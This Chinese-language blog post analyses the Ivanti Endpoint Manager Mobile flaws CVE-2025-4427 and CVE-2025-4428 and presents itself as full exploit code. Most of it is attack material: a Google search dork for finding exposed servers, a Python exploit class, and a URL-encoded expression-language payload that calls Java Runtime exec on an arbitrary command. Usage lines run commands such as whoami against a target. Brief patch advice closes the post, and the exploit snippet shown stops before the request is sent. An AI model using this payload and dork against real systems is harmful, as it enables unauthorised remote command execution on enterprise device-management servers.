Ivanti EPM移动终端管理器认证绕过漏洞分析与利用

本文详细分析Ivanti Endpoint Manager Mobile 12.5.0.0版本中的认证绕过漏洞CVE-2025-4427和CVE-2025-4428,提供完整的Python利用代码,可实现未授权远程命令执行,影响版本低于2025.1的系统。

Ivanti Endpoint Manager Mobile 12.5.0.0 - 认证绕过漏洞分析

漏洞概述

Ivanti Endpoint Manager Mobile(EPM)12.5.0.0版本存在严重安全漏洞:

  • CVE-2025-4427: 特征使用API端点中的表达式语言注入漏洞,允许远程代码执行
  • CVE-2025-4428: 管理端点的认证绕过漏洞

这些漏洞可被串联利用,实现未经认证的远程代码执行。

技术细节

漏洞影响版本

  • 版本低于 2025.1 的Ivanti Endpoint Manager

漏洞检测方法

CVE-2025-4427检测

1
2
3
4
def detect_cve_2025_4427(self):
    """快速检测CVE-2025-4427"""
    payload = '%24%7b%32%2b%32%7d'  # ${2+2}
    url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"

CVE-2025-4428检测

1
2
3
def detect_cve_2025_4428(self):
    """快速检测CVE-2025-4428"""
    admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']

利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3

# 利用标题: Ivanti Endpoint Manager Mobile 12.5.0.0 - 认证绕过
# Google搜索语法: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager"
# 日期: 2025-01-21
# 软件链接: https://www.ivanti.com/products/endpoint-manager

import requests
import urllib3
import argparse
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class IvantiExploit:
    def __init__(self, target):
        self.target = target.rstrip('/') + '/'
        self.session = requests.Session()
        self.session.verify = False
        
    def exploit_rce(self, command='id'):
        """通过CVE-2025-4427执行命令"""
        cmd_hex = command.encode().hex()
        cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))
        
        # RCE载荷
        payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'
        
        url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"

使用方法

1
2
3
4
5
# 检测漏洞
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com

# 利用漏洞执行命令
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"

修复建议

  • 升级到Ivanti Endpoint Manager 2025.1或更高版本
  • 实施网络访问控制,限制对管理端点的访问
  • 监控可疑的API请求活动

技术要求

  • Python 3.x
  • requests >= 2.25.1
  • urllib3

该漏洞利用工具提供了完整的检测和利用功能,安全研究人员可用于测试和验证系统安全性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计